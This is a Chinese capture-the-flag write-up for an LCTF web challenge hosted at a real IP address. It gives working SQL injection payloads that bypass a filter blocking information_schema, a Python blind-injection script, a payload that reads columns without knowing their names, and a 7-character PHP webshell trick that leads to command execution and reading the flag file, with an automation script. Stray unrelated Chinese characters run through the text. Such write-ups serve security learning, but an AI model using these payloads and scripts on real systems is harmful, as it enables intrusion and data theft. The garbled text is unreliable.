自從很多開發(fā)人員禁止回顯錯(cuò)誤以后坪郭,sql報(bào)錯(cuò)注入脊框,就很少見了,所以一直沒什么機(jī)會(huì)接觸渣触,感謝LCTF給我這個(gè)機(jī)會(huì),23333
該題目的waf禁用了information_schema壹若,table嗅钻,column,以及許多報(bào)錯(cuò)注入的函數(shù)等
題目:http://182.254.246.93/
提示沒有源碼泄露店展,也不需要爆破表名养篓,列名,還給了個(gè)入口文件
和一個(gè)Tips:將表的某一個(gè)字段名赂蕴,和表中某一個(gè)表值進(jìn)行字符串連接柳弄,就可以得到下一個(gè)入口
注入得到字段數(shù)量是4,而且回顯位置在第二個(gè)睡腿,并且database()被禁了
對(duì)應(yīng)關(guān)系是
pro_id pro_name
1 car
2 iphone11
3 nextentrance
pro_name是我猜的语御,我猜測后端的邏輯大致是
select * from databasexxx.tablexxx where pro_id = $_POST['pro_id']
raw=mysql_fetch_row($result);
然后只顯示raw[1],也就是只顯示是第二列pro_name的內(nèi)容席怪,而且只顯示一行內(nèi)容
是數(shù)字型应闯,不用閉合,但是information_schema挂捻,table碉纺,column等很多被禁
直到后面報(bào)錯(cuò)得到了庫名
pro_id= 1 and (extractvalue(1,concat(0x7e,(select * from abc),0x7e)))
看SSRF那道了,賽后看了pcat大佬的writeup刻撒,才知道報(bào)錯(cuò)注入這么叼骨田,完全不需要information_schema,現(xiàn)在復(fù)現(xiàn)一下大佬的wp
報(bào)錯(cuò)得到當(dāng)前的庫名声怔、表名态贤、列名
pro_id=0 and linestring(pro_id)
分別是youcanneverfindme17
product_2017ctf
pro_id
通過select select的報(bào)錯(cuò)注入,結(jié)合 join醋火,逐步得到各列
pro_id=0 and (select * from (select * from youcanneverfindme17.product_2017ctf a join youcanneverfindme17.product_2017ctf b using (pro_id))c)
得到列 pro_name 悠汽,說明我之前猜對(duì)了,嘖嘖嘖
go on
pro_id=0 and (select * from (select * from youcanneverfindme17.product_2017ctf a join youcanneverfindme17.product_2017ctf b using (pro_id,pro_name))c)
得到列owner
pro_id=0 and (select * from (select * from youcanneverfindme17.product_2017ctf a join youcanneverfindme17.product_2017ctf b using (pro_id,pro_name,owner))c)
得到列d067a0fa9dc61a6e
現(xiàn)在四個(gè)列到齊了芥驳,分別是 pro_id pro_name owner 和 d067a0fa9dc61a6e
接下來只需查詢列d067a0fa9dc61a6e 的字段內(nèi)容柿冲,估計(jì)會(huì)是 XXX.php,然后就能拼接得到下一個(gè)入口了
pro_id=0 union select 1 , d067a0fa9dc61a6e from product_2017ctf , 3 , 4#
無奈waf禁了這個(gè)列名
這里Pcat用的是盲注的方法兆旬,詳細(xì)原理可參考文章
http://wonderkun.cc/index.html/?p=547
這里可以搭建跟題目類似的環(huán)境
create database test_base;
use test_base;
create table test_table(pro_id int auto_increment not null primary key,pro_name char(20),owner char(20),d067a0fa9dc61a6e char(30));
show tables;
describe test_table;
insert into test_table(pro_name) values('car');
insert into test_table(pro_name) values('iphone11');
insert into test_table(pro_name) values('nextentrance');
update test_table set d067a0fa9dc61a6e='7195CA99696B5A896.php' where pro_name='nextentrance';
select * from test_table;
然后用 order by 4 des 進(jìn)行遞減排序假抄,然后在第四個(gè)字段select,mysql排序的時(shí)候會(huì)從左到右,逐位ascii碼對(duì)比大小宿饱,然后排序熏瞄,直接看圖吧
7195CA99696B5A896.php
的hex編碼是
0x37313935434139393639364235413839362e706870
可以看到,當(dāng)ascii碼或者h(yuǎn)ex碼谬以,小于或者等于目標(biāo)0x3731的時(shí)候巴刻,都是先搜出nextentrance,而大于的時(shí)候蛉签,比如0x3732的時(shí)候胡陪,就搜出2,所以減一就是我們的目標(biāo)碍舍,0x3731了柠座,然后逐位得出,最后hex解碼得到想要的字段內(nèi)容
7195CA99696B5A896.php
這里給出pcat的腳本
# -*- coding:utf8 -*-
__author__='pcat@chamd5.org'
import requests
import time
import string
def foo():
url=r'http://182.254.246.93/entrance.php'
mys=requests.session()
x="3 union distinct select 1,2,3,0x%s order by 4 desc"
cset=string.maketrans('','')[33:127]
pwd=''
while True:
try:
for i in cset:
myd={'pro_id':x %(pwd+i).encode('hex')}
res=mys.post(url,data=myd).content
if 'nextentrance' not in res:
pwd+=chr(ord(i)-1)
print pwd
break
pass
time.sleep(0.01)
except:
print '_ _'
time.sleep(0.5)
pass
pass
if __name__ == '__main__':
foo()
print 'ok'
然后我在想片橡,難道就沒有別的方法嗎妈经,后來我谷歌到了,不需要列名捧书,就能得到字段內(nèi)容的方法吹泡,嘖嘖嘖,可參考文章
http://blog.7ell.me/2017/05/30/2017-DDCTF-SQL%E6%B3%A8%E5%85%A5%E4%B9%8B%E8%BF%87%E6%BB%A4%E5%88%97%E5%90%8Dget%E6%95%B0%E6%8D%AE/
這里給出我測試成功的payload
關(guān)鍵是利用e经瓷,這個(gè)虛表爆哑,然后用e.4指定第4列,然后記得 limit 1 offset 3 來指定第4列舆吮,不然mysql會(huì)因?yàn)榉祷財(cái)?shù)據(jù)的行數(shù)不同而報(bào)錯(cuò)
pro_id= 0 union select 1, group_concat(distinct(select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from product_2017ctf )e limit 1 offset 3)),3,4#
終于得到了下一個(gè)入口
d067a0fa9dc61a6e7195ca99696b5a896.php
只能寫7個(gè)字符
嘗試傳入數(shù)組揭朝,如 filename[] 和 content[] 能否繞過,失敗
這里還是直接看Pcat的writeup色冀,寫得很清晰潭袱,7個(gè)字符命令執(zhí)行
按順序POST提交下面3條
filename=p.php&content=<?=`*`; 記得別漏了分號(hào)
filename=bash&content=xxx
filename=bash2&content=ls /
再訪問p.php,就可以看到
327a6c4304ad5938eaf0efb6cc3e53dc.php
再POST
filename=bash2&content=cat /3*
再去訪問p.php锋恬,右鍵查看源代碼看到flag
詳細(xì)的過程:
p.php的<?=`*`; 其中的*會(huì)展開成當(dāng)前文件夾下的文件屯换,并按字母順序排列
大致上等價(jià)于
<?php echo `bash bash2 index.html p.php` ?>
訪問p.php的時(shí)候,bash會(huì)被識(shí)別為命令而非文件与学,然后就會(huì)去執(zhí)行bash2這個(gè)文件里的命令彤悔,后面的文件無視掉
通過修改bash2這個(gè)文件的內(nèi)容就可以構(gòu)造命令執(zhí)行。
這里給個(gè)腳本
import requests
import re
url = "http://182.254.246.93/d067a0fa9dc61a6e7195ca99696b5a896.php"
user_agent = "xxx"
t = requests.post(url, headers = {'User-agent': user_agent }, data = {"filename":"aaa.php", "content":"<?=`*`;"}).text
[path] = re.findall('files.*/aaa.php', t)
requests.post(url, headers = {'User-agent': user_agent }, data = {"filename":"bash", "content":'anything'})
requests.post(url, headers = {'User-agent': user_agent }, data = {"filename":"bash2", "content":'cat /3*'})
url1 = "http://182.254.246.93/"
r = requests.get(url1+path)
print r.text
話說癣防,hitcon2017的5個(gè)字符命令執(zhí)行和4個(gè)字符命令執(zhí)行這兩道題還沒復(fù)現(xiàn)呢蜗巧,太懶了掌眠,Orz....